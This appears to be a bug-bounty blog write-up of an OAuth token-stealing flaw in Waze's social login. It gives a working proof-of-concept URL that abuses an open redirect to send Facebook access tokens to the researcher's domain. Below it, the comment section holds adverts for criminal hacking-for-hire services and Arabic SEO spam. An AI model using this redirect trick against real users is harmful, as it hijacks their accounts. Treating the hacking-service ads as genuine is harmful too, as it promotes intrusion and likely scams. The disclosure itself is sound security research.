Google VRP : oAuth token stealing.

Hey guys! hope you all doing well :), In June/July i decided to hunt on Google Products, As Google have almost everything in scope so i gone though list of Google products/fully integrated acquisitions. ( https://www.google.com/intl/en/about/products/ ), Waze is one of Google's Fully integrated acquisitions (There's difference b/w integrated and non-integrated). So i decided to give it a try :)

I was looking at Waze iOS app and there was an option to login with Twitter, Show i started capturing requests, The URL was like this;

http://www.waze.com/SocialMediaServer/social/connect?id=twitter&session_cookies=xxxxx

(not exactly this, feeling lazy to checkout again :P)

The flow works in same manner like `Authorization Code flow` as Twitter don't have `Implicit flow` (as far as i know)

1 - GET Request to http://www.waze.com/SocialMediaServer/social/connect?id=twitter&session_cookies=xxx

2 - 302 Response to https://api.twitter.com/oauth/authorize?oauth_token=xxxxx&redirect_uri=http://www.waze.com/SocialMediaServer/redirect?redirect=http://somdomain.waze.com%3Fsession_cookies=xxxx&server=this&publish=false&on_close=false&community=twitter&lang=&deviceid=0&is_group=false

3 - After authorize, Redirect to http://www.waze.com/SocialMediaServer/redirect?redirect=http%3A%2F%2Fsomdomain.waze.com%2Ftwitter%3Fsession_cookies=xxxx%26oauth_token%3D=xxx%26oauth_verifier=xxxxx

4 - And then finally Redirect to http://somdomain.waze.com/twitter?session_cookies=xxxx&oauth_token==xxx&oauth_verifier=xxxxx

So everyone know what is suspicious here; http://www.waze.com/SocialMediaServer/redirect?redirect=http%3A%2F%2Fsomdomain.waze.com%2Ftwitter%3Fsession_cookies=xxxx%26oauth_token%3D=xxx%26oauth_verifier=xxxxx

Luckily yes it was vulnerable to open redirect we won the battle already :D but wait we're working with twitter `oauth_veriifier` which is not very usable from attacker perspective. Also twitter requires us to authorize app everytime :/

http://www.waze.com/SocialMediaServer/social/connect?id=twitter&session_cookies=xxx looking at 'id' , seems some more social connect possible, so i checked out android app as well and found facebook, linkedin are also there. Started testing on android, the flow for Facebook was completely different here. I started fuzzing around the old url, tried to replace Twitter to Facebook.

GET Request - http://www.waze.com/SocialMediaServer/social/connect?id=facebook&session_cookies=xxx

Response - 500 Error :(

But wait i seen many apps working in this pattern /social/*connection_name*/connect , Lets give it a try.

GET - http://www.waze.com/SocialMediaServer/social/facebook/connect?id=twitter&session_cookies=xxx

Response -302 :DDDDD,



Changed ?redirect=http://harshjaiswal.com  and response_type=token,signed_request

Final PoC :

https://m.facebook.com/v2.8/dialog/oauth?auth_type=rerequest&client_id=343050668156&default_audience=friends&redirect_uri=https://waze.com/SocialMediaServer/redirect?redirect=http://harshjaiswal.com&response_type=token,signed_request&return_scopes=true&scope=email,user_friends,user_events


Response -
http://harshjaiswal.com/?redirect=http://harshjaiswal.com#granted_scopes=user_events%2Cuser_friends%2Cemail%2Cpublish_actions%2Cpublic_profile&denied_scopes=&signed_request=XXXXXXX&access_token=EAAAATXXXXX&expires_in=6886


Although this was a fully integrated acq. i got less bounty :P as they still consider it as acquition FOR bounty purposes :(


But its okay! atleast i learned one thing, If they don't give you endpoint, try to guess it 3:)

I hope you like it. :)



12 comments:

  1. I DONT KNOW WHAT YOU HAVE BEEN THROUGH OR HOW LONG YOU HAVE BEEN LOOKING BUT THIS IS THE LAST STOP AS THERE IS A HACKER WHO CAN HELP YOU WITH SPY WARE ON YOUR CHEATING PARTNER OR UPGRADE YOUR SCHOOL SCORES OR HELP WITH RESULT AND CLEAR ANY CRIMINAL RECORD..

    HACKING OF FACEBOOK , EMAIL , AND BANK ACCOUNTS ARE HIS SPECIALTY.. EMAIL : GREENFR1007@GMAIL.COM OR SKYPE:SATISH.ANCHAN4

    BEST EVER

    ReplyDelete

  2. شركة غسيل خزانات بالمدينة المنورة و عمال مروبون وحاصلون على شهادة صحية فقط اتصل بنا لتحصل على افضل خدمة غسيل خزانات


    ReplyDelete
  3. ★COMPOSITE HACKS★

    🔍🔍Are you Seeking for the Best Legit Professional Hackers online??❓💻💻💻
    Congratulations Your search ends right here with us. 🔍🔍🔍🔍

    🏅COMPOSITE HACKS is a vibrant squad of dedicated online hackers maintaining the highest standards and unparalleled professionalism in every aspect.
    We Are One Of The Leading Hack Teams in The United States🇺🇸🇺🇸 With So many Accolades From The IT Companies🏆🏅🥇. In this online world there is no Electronic Device we cannot hack. Having years of experience in serving Clients with Professional Hacking services, we have mastered them all. You might get scammed for wrong hacking services or by fake hackers on the Internet. Don't get fooled by scamers that are advertising false professional hacking services via False Testimonies, and sort of Fake Write Ups.❌❌❌❌

    * COMPOSITE HACKS is the Answers to your prayers. We Can help you to recover the password of your email, Facebook or any other accounts, Facebook Hack, Phone Hack (Which enables you to monitor your kids/wife/husband/boyfriend/girlfriend, by gaining access to everything they are doing on their phone without their notice), You Wanna Hack A Website or Database? You wanna Clear your Criminal Records?? Our Team accepts all types of hacking orders and delivers assured results to alleviate your agonies and anxieties. Our main areas of expertise include but is never confined to:

    ✅Website hacking 💻,✅Facebook and social media hacking📲, ✅Database hacking, Email hacking⌨️, ✅Phone and Gadget Hacking📲💻,✅Clearing Of Criminal Records❌ ✅Location Tracking✅ Credit Card Loading✅ and many More✅

    🏅We have a trained team of seasoned professionals under various skillsets when it comes to online hacking services. Our company in fact houses a separate group of specialists who are productively focussed and established authorities in different platforms. They hail from a proven track record and have cracked even the toughest of barriers to intrude and capture or recapture all relevant data needed by our Clients. 📲💻

    🏅 COMPOSITE HACKS understands your requirements to hire a professional hacker and can perceive what actually threatens you and risk your business⚔️, relationships or even life👌🏽. We are 100% trusted professional hacking Organization and keep your deal entirely confidential💯. We are aware of the hazards involved. Our team under no circumstances disclose information to any third party❌❌. The core values adhered by our firm is based on trust and faith. Our expert hacking online Organization supports you on time and reply to any query related to the unique services we offer. 💯

    🏅COMPOSITE HACKS is available for customer care 24/7, all day and night. We understand that your request might be urgent, so we have a separate team of allocated hackers who interact with our Clients round the clock⏰. You are with the right people so just get started.💯✅

    ✅CONTACT US TODAY VIA:✅
    📲 compositehacks@gmail.com 📲

    ReplyDelete
  4. الحصول على مياه نظيفة هي مهمة شركة تنظيف خزانات بجدة التي تعمل على اتباع احدث اساليب و مراحل تنظيف الخزان كما يوجد خدمات شركة تنظيف بالبخار بجدة و هذا لأننا نحاول أن نجتهد لكي نقدم إلى العميل الخدمات المثالية شركة مكافحة حشرات بجدة و التي تساعده شركة مكافحة البق بجدة على الحصول على أفضل النتائج لكي تطمئن إلى ان المياه التي تشربها شركة تنظيف شقق بجدة هي مياه معقمة و مطهره خالية من الجراثيم أو الميكروبات التي من الممكن أن تؤدي إلى انتشار الامراض بشكل.

    ReplyDelete
  5. الحرص على استخدام المطهرات شركة تنظيف بالبخار بجدة و المواد التي تعمل على تعقيم شركة تنظيف كنب بجدة المنزل باستمرار و رشها شركة مكافحة البق بجدة لكي يتم القضاء على الجراثيم و الميكروبات افضل شركة تنظيف الخزانات فى جدة و إذا كنت تواجه أي مشكلة شركة مكافحة حشرات بجدة مع الحشرات يمكنك أن تتصل شركة تنظيف شقق بجدة على افضل التي تستخدم المبيدات اللازمة و التي تعمل على التخلص من الحشرات نهائيا و ضمان أن لا تعود مرة أخرى فنحن نهتم بأن نقدم إليكم جميع الخدمات التي تعمل على راحتكم

    ReplyDelete
  6. شركة البيت السعيد افضل شركة كشف تسربات بالقصيم تستخدم دائما ما شركة كشف تسربات بالقصيم يناسب وضعها ومكانتها فى سوق العمل افضل شركة كشف تسربات المياه بالقصيم , نحن نقدم اليكم خدمتنا , فاذا استعنت بنا فانت افضل شركة مكافحة حشرات بالقصيم الرابح الاكبر لا تترد افضل شركة عزل خزانات بالقصيم فى الاتصال وسوف نصلك فى اى مكان , شركة البيت السعيد افضل افضل شركة عزل اسطح بالقصيم وعلاجها وافضل شركة عزل مائى بالقصيم .

    ReplyDelete
  7. مجال التعليق الصوتي أصبح الآن فويس اوفر من أكثر المجالات شهرة ولابد من ان يعمل الشخص موشن جرافيك على تنمية المواهب و المهارات لديه إن كان يريد أن يصبح كورس فويس اوفر أفضل و مميز في مجاله حيث ان التعليق الصوتي لا يعتمد على الصوت فقط و إن كان اهم شي كورس التعليق الصوتى و لكن لابد من وجود بعض المهارات كورس الدوبلاج الاخرى التي تعمل على جعلك من المحترفين في هذا المجال

    ReplyDelete
  8. حافظى دائما على البيت صباغ بالكويت عطرا تفوح من ارجاء المنزل وهذا ما تفعله فني ستلايت بالكويت و لكن هل يمكن تعطير المنزل قبل التخلص شركة تنظيف بدبي من الروائح الكريهه فى مفروشاته فني كهرباء بالكويت و من المواد المتوفره فى مطبخك دائما ما تساعد شركة نقل عفش بالكويت على امتصاص هذه الروائح الكريهه هى الكربوناتو و البيكنج صودا قومى بنثر احدى المادتين ليلا على المفروشات الارضيه

    ReplyDelete
  9. تعد شركة ويب السعودية افضل شركة تصميم مواقع بالسعودية من الشركات التى افضل شركة تصميم مواقع بالرياض تعتمد على تقديم خدمات التسويق الالكتروني افضل شركة تسويق الكتروني بالسعودية وخدمات اشهار المواقع فى جوجل افضل شركة تسويق الكتروني بالرياض والفيس بوك وتويتر وتعمل على سرعة الإنتشار لذلك فهى تعتبر افضل شركة تسويق

    ReplyDelete
  10. تعتبر شركتنا افضل تسليك مجاري الكويت تعتبر جهاز الكمبريسور تسليك مجاري بالكويت من أهم الأجهزة المستخدمة تسليك مجاري فى الكويت في جميع أعمال تسليك المجاري شركة تسليك مجاري بالكويت حيث يعمل جهاز الكمبريسور على حل تسليك مجاري الكويت جميع مشاكل الانسداد شركة تنظيف منازل بالكويت الداخلي في المنزل .

    ReplyDelete
  11. تقدم افضل ما لديها في خدمة نقل العفش شركة نقل عفش بمكة حيث توفر افضل شركة فك وتركيب اثاث ايكيا بمكة جميع الآلات والمعدات الحديثة والمتطورة شركة نقل اثاث بمكة التي تستخدم في عمليات نقل العفش مثل الفك والتركيب والتغليف ويتم فك وتركيب الدواليب والاسرة والستائر بها .

    ReplyDelete
  12. من الممكن أن نقوم شركة نجيل صناعي بتوفير السور الذي يعمل على إعطاء شركة تجهيز ملاعب المظهر الجمالي حيث أنه يكون عبارة شركة نجيل صناعي وترتان عن وضع النباتات و النجيل الصناعي شركة لاندسكيب داخل السور و هذا يجعله يبدوا و كأنه شركة تنسيق حدائق زهرية كبيرة تكون حول الحديقة و الأسوار تكون مزخرفة من أجل أن تعطي المظهر الجذاب الذي ترغبون به

    ReplyDelete

Powered by Blogger.